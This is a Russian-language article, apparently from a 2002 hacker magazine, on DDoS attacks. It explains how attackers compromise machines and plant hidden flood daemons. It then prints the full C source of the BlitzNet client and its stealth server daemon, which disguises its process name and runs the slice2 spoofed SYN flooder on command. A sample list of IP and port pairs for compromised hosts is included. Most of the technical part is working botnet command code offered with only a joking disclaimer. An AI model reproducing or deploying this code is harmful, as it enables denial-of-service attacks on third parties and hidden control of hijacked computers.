• Партнер

  • :: Intro

    DDoS атака (Distributed Denial of Service Attack) - это распределенная атака на отказ в обслуживании. От обычной DoS атаки отличается тем, что в процессе участвует не один компьютер, а множество компьютеров, подчиняющихся командам атакующего.

    DDoS атаки относительно новы. Впервые Интернет-общество серьезно столкнулось с ними 7 февраля 2000 года. Тогда в течении недели на несколько часов были выведены из строя такие известные сайты, как Yahoo, Buy.com, eBay, Amazon, Datek, E*Trade и CNN.

    Сейчас 2002 год, но DDoS атаки до сих пор практически невозможно отслеживать заранее и предотвращать, и вряд ли это станет возможным в ближайшем
    будущем.

    :: Немного лирики

    DDoS атаке предшествуют взломы сотен (а иногда и тысяч) компьютеров, на которые устанавливается специальный DDoS софт, позволяющий проводить координированные DoS атаки (обычно используются flood атаки) на сайты жертв.

    В деталях это выглядит следующим образом: атакующий ищет слабо защищенный компьютер, вломиться в который не составляет проблемы. Затем на взломанную систему устанавливается софт, который будет скрывать следы взлома (например, скрывать процесс, запущенный атакующим, чтобы в дальнейшем контролировать данную систему). А потом осуществляется то, ради чего, собственно, система и была взломана: запускается процесс, ожидающий команды из Интернета начать атаку на определенную жертву. После этого адрес захваченного компьютера заносится в базу данных. Все эти шаги достаточно
    автоматизированы и повторяются до тех пор, пока количество "рабов" не достигнет необходимой атакующему отметки. В итоге получается DDoS сеть, т.е. имеются компьютеры с установленным на них DDoS софтом, а атакующий знает их адреса.

    С наступлением часа X атакующий просто запускает программу, которая посылает команды начать атаку на определенную жертву всем захваченным компьютерам по адресам, хранящимся в специальном файле. Когда атакующий
    решает прекратить DDoS атаку, он опять же просто запускает программу, которая пошлет по тем же адресам команды прекратить безобразие.

    :: c0dez

    Рассмотрим DDoS софт на примере BlitzNet by phreeon, написанный частично на Си (если не знаешь Си, смотри
    "A quick introduction to C - learn programming in one
    day
    " Mixter'а), частично на TCL (можешь посмотреть статью Forb'а "Кодинг на
    TCL", Xakep
    #030
    ).

    BlitzNet (Blitz Network) написан для того, чтобы проводить spoofed syn flood атаку с множества разных компьютеров без логина на них. Дистрибутив включает в себя следующие файлы:
    blitz.c (клиент), blitzd.c (сервер),
    rush.tcl, уже скомпилированный spoofed syn flooder
    (slice2) и README. На взломанную систему помещаются 2 файла: blitzd и slice2. А у атакующего должны быть 4 файла: rush.tcl, shell.list, blitz и strobe (rush.tcl использует blitz для связи c компьютерами, адреса которых находятся в shell.list, а strobe нужен rush.tcl для проверки тех компьютеров). Файл shell.list должен иметь примерно такой вид:

    192.9.49.33 31337
    199.185.137.3 9999
    216.200.201.193 6969

    Первая часть строки - ip адрес компьютера, вторая - порт, на котором висит blitzd.

    Клиентская часть BlitzNet устанавливает TCP соединение с указанным сервером (argv[1]) по указанному порту (argv[2]) и пересылает демону адрес для подмены адреса компьютера, проводящего атаку, <source> (0 для случайного); адрес жертвы <destination>; нижний предел диапазона атакуемых портов <start>; верхний предел <stop>, продолжительность атаки в секундах <duration> и количество одновременно
    работающих процессов slice2 <dupes>.

    Чтобы установить Интернет соединение, нужно использовать сокеты. Сокеты бывают двух типов: потоковые (TCP) и датаграммные (UDP). Кроме того, сокеты делятся по областям (domain) на сокеты Интернета и сокеты UNIX (локальные). И еще с сокетом ассоциируется определенный протокол. Области и типы определяются числовыми константами, но обычно вместо циферков используются буковки, точнее, символические имена (задаваемые #define). Потоковые сокеты имеют тип SOCK_STREAM, датаграммные - SOCK_DGRAM; области Интернета соответствует константа PF_INET (иногда вместо PF_* используется AF_*), области UNIX - PF_UNIX (в POSIX вместо PF_UNIX используется PF_LOCAL, но PF_UNIX допустима почти всегда, т.к. используется в огромном количестве существующих программ). Протокол система может выбирать автоматически, если функциям сокетов передается значение 0.

    Как же написать TCP клиента? Прежде всего, нужно подключить библиотеки, необходимые для работы с сокетами:

    #include <sys/socket.h>
    #include <netinet/in.h> // Для структуры sockaddr_in

    Далее, необходимые переменные:

    // Аналог дескриптора файла
    int sockfd;

    struct sockaddr_in address;

    На FreeBSD и, наверное, на всех других NIX системах, эта структура выглядит следующим образом:

    /*
    * Socket address, internet style.
    */
    struct sockaddr_in {
    u_char sin_len;
    u_char sin_family;
    u_short sin_port;
    struct in_addr sin_addr;
    char sin_zero[8];
    };

    Интерес представляют поля sin_family (что-то типа области), sin_port (порт) и sin_addr (адрес хоста).

    А потом, собственно, подключаемся к сокету на
    удаленном компьютере:

    // Создать сокет
    sockfd = socket(AF_INET, SOCK_STREAM, 0);

    // Построить адрес удаленного компьютера

    bzero(&address, sizeof(saddress)); // Очистка структуры (не обязательно)

    address.sin_family = AF_INET;
    address.sin_addr.s_addr = inet_addr("host");
    address.sin_port = htons(atoi("port"));

    // Подключиться
    connect(sockfd, (struct sockaddr *)&address, sizeof(address));

    // Сделать что-то с сокетом
    write(sockfd, ...);
    read(sockfd, ...);

    // И отключиться после завершения
    close(sockfd);

    На Перле написать это куда проще (может, я соберусь и напишу на нем аналог BlitzNet), но знание, как это делается на Си тебе не помешает.

    А вот и Blitz клиент:

    <++> blitz.c
    #include <sys/types.h>
    #include <sys/socket.h>
    #include <stdio.h>
    #include <netinet/in.h>
    #include <arpa/inet.h>
    #include <unistd.h>

    int main(int argc, char *argv[])
    {
    int i;
    int sockfd;
    int len;
    struct sockaddr_in address;
    int result;
    char cmd[128];
    char ch;

    if (argc < 9) {
    fprintf(stderr, "blitz by phreeon / hydra\n");
    fprintf(stderr, "syntax: %s <host> <port> <source> <destination> <start> <stop> <dupes> <duration>\n", argv[0]);
    exit(1);
    }

    sockfd = socket(AF_INET, SOCK_STREAM, 0);
    address.sin_family = AF_INET;
    address.sin_addr.s_addr = inet_addr(argv[1]);
    address.sin_port = htons(atoi(argv[2]));
    len = sizeof(address);
    result = connect(sockfd, (struct sockaddr *)&address, len);

    if(result == -1) {
    printf("%s->%s: connection refused!\n", argv[1], argv[4]);
    exit(1);
    }

    sprintf(cmd, "%s %s %s %s %s %s", argv[3], argv[4], argv[5], argv[6], argv[7], argv[8]);
    write(sockfd, cmd, sizeof(cmd));
    read(sockfd, &ch, 1);
    if (ch == '.') {
    printf("%s->%s: successful!\n", argv[1], argv[4]);
    }
    if (ch == '!') {
    printf("%s->%s: failed!\n", argv[1], argv[4]);
    }
    if (ch != '.' && ch != '!') {
    printf("%s->%s: unknown!\n", argv[1], argv[4]);
    }
    close(sockfd);
    exit(0);
    }
    <-->

    Серверная часть Blitz Network сначала предпринимает некоторые шаги для маскировки, в частности, забивает все аргументы нулями, а себя маскирует под что-нибудь. Потом происходит непосредственно прием информации, передаваемой клиентом, и запуск slice2 с полученными от клиента аргументами.

    Написать типичный TCP сервер не так уж и сложно. Сначала все те же библиотеки, почти те же переменные, так же создаем сокет:

    ...

    #include <sys/socket.h>
    #include <netinet/in.h>

    ...

    int server_sockfd, client_sockfd;
    struct sockaddr_in server_address;
    struct sockaddr_in client_address;

    ...

    // Создать сокет
    server_sockfd = socket(AF_INET, SOCK_STREAM, 0);

    // Заполнение структуры address несколько отличается:

    bzero(&server_address, sizeof(server_address));
    server_address.sin_family = AF_INET;
    server_address.sin_port = htons(atoi("port");
    server_address.sin_addr.s_addr = htonl(INADDR_ANY);

    Разница в server_address.sin_addr.s_addr. Вместо адреса определенного хоста используется INADDR_ANY - специальный адрес, означающий "прослушивание на всех интерфейсах".

    // Далее вместо connect() используем bind()
    bind(server_sockfd, (struct sockaddr *)&server_address, sizeof(server_address));

    Потом процесс сервера создает дочерний процесс, который принимает подключения. Это удобно сделать так:

    switch (fork()) {
    case -1:
    perror("fork");
    return 3;
    break;
    default:
    close(server_sockfd);
    return 0;
    break;
    case 0:
    break;
    }

    // Теперь необходимо установить очередь для входящих сообщений
    listen(server_sockfd, 5);

    Числовой аргумент функции listen() определяет количество не принятых функцией accept() подключений, которые будут поставлены в очередь.

    // Потом в цикле происходит прием подключений
    for (;;) {
    b = sizeof(client_address); // b имеет тип int
    client_sockfd = accept(s, (struct sockaddr *)&client_address, &b);

    // Делаем что-нибудь
    read(client_sockfd, ...);
    write(client_sockfd, ...);

    // И отрубаем
    close(client_sockfd);
    }

    Все!

    Но blitzd написан каким-то странным способом, в котором я до конца не разобрался. То же самое можно было написать на том же Си куда проще, но я привожу исходник AS
    IS:

    <++> blitzd.c
    #include <sys/types.h>
    #include <sys/socket.h>
    #include <stdio.h>
    #include <netinet/in.h>
    #include <sys/time.h>
    #include <sys/ioctl.h>
    #include <unistd.h>
    #include "lists.h"

    int main(int argc, char *argv[])
    {
    int x;
    char stealth[128];
    char good, bad;
    time_t timeval;
    int server_sockfd, client_sockfd;
    int server_len, client_len;
    struct sockaddr_in server_address;
    struct sockaddr_in client_address;
    int result;
    fd_set readfds, testfds;

    good = '.';
    bad = '!';
    if (argc < 2) {
    fprintf(stderr, "blitzd by phreeon / hydra\n");
    fprintf(stderr, "syntax: %s <port> <stealth>\n", argv[0]);
    exit(1);
    }

    server_sockfd = socket(AF_INET, SOCK_STREAM, 0);

    server_address.sin_family = AF_INET;
    server_address.sin_addr.s_addr = htonl(INADDR_ANY);
    server_address.sin_port = htons(atoi(argv[1])); 
    strcpy(stealth, argv[2]);
    for (x = argc-1; x >= 0; x--) {
    memset(argv[x], 0, strlen(argv[x]));
    }
    strcpy(argv[0], stealth);
    server_len = sizeof(server_address);

    bind(server_sockfd, (struct sockaddr *)&server_address, server_len);
    listen(server_sockfd, 5);

    FD_ZERO(&readfds);
    FD_SET(server_sockfd, &readfds);
    while(1) {
    char cmd[128], realcmd[512];
    int fd;
    int nread;

    testfds = readfds;

    (void)time(&timeval);
    // printf("[%s] server waiting\n", string_range(ctime(&timeval), 0, (strlen(ctime(&timeval))-2)));
    result = select(FD_SETSIZE, &testfds, (fd_set *)0, 
    (fd_set *)0, (struct timeval *) 0);

    if(result < 1) {
    perror("server5");
    exit(1);
    }
    for(fd = 0; fd < FD_SETSIZE; fd++) {
    if(FD_ISSET(fd,&testfds)) {
    if(fd == server_sockfd) {
    client_sockfd = accept(server_sockfd, 
    (struct sockaddr *)&client_address, &client_len);
    FD_SET(client_sockfd, &readfds);
    (void)time(&timeval);
    // printf("[%s] adding client %s:%d on fd %d\n", string_range(ctime(&timeval), 0, (strlen(ctime(&timeval))-2)), inet_ntoa(client_address.sin_addr.s_addr), ntohs(client_address.sin_port), client_sockfd);
    }
    else {
    ioctl(fd, FIONREAD, &nread);

    if(nread == 0) {
    close(fd);
    FD_CLR(fd, &readfds);
    (void)time(&timeval);
    // printf("[%s] removing client %s on fd %d\n", string_range(ctime(&timeval), 0, (strlen(ctime(&timeval))-2)), inet_ntoa(client_address.sin_addr.s_addr), fd);
    }

    else {
    read(fd, cmd, 128);

    /* argument descriptions */
    /* --------------------- */
    /* source target startport stopport dupes duration */
    /* 0 127.0.0.1 3 2000 2 360 */

    sleep(5);
    (void)time(&timeval);
    // printf("[%s] serving client %s on fd %d (%s)\n", string_range(ctime(&timeval), 0, (strlen(ctime(&timeval))-2)), inet_ntoa(client_address.sin_addr.s_addr), fd, cmd);
    if (llength(cmd) == 6) {
    sprintf(realcmd, "./slice2 %s > /dev/null &\nsleep %s; kill `pidof slice2`;", lrange(cmd, 0, 4), lindex(cmd, -1));
    write(fd, &good, 1);
    system(realcmd);
    } else {
    write(fd, &bad, 1);
    }
    }
    }
    }
    }
    }
    }
    <-->

    На этом все. Листинг rush.tcl я приводить не буду, т.к. особых познаний в TCL не имею, разберись с ним сам, если хочешь. И надеюсь, ты не будешь использовать полученные знания во имя зла >:-F~.

    :: Использованная литература

    Distributed Denial of Service Attacks by Bennett Todd
    Perl: библиотека программиста -> Сокеты
    FreeBSD Developers' Handbook -> Chapter 7 Sockets

    Подписаться
    Уведомить о
    0 комментариев
    Межтекстовые Отзывы
    Посмотреть все комментарии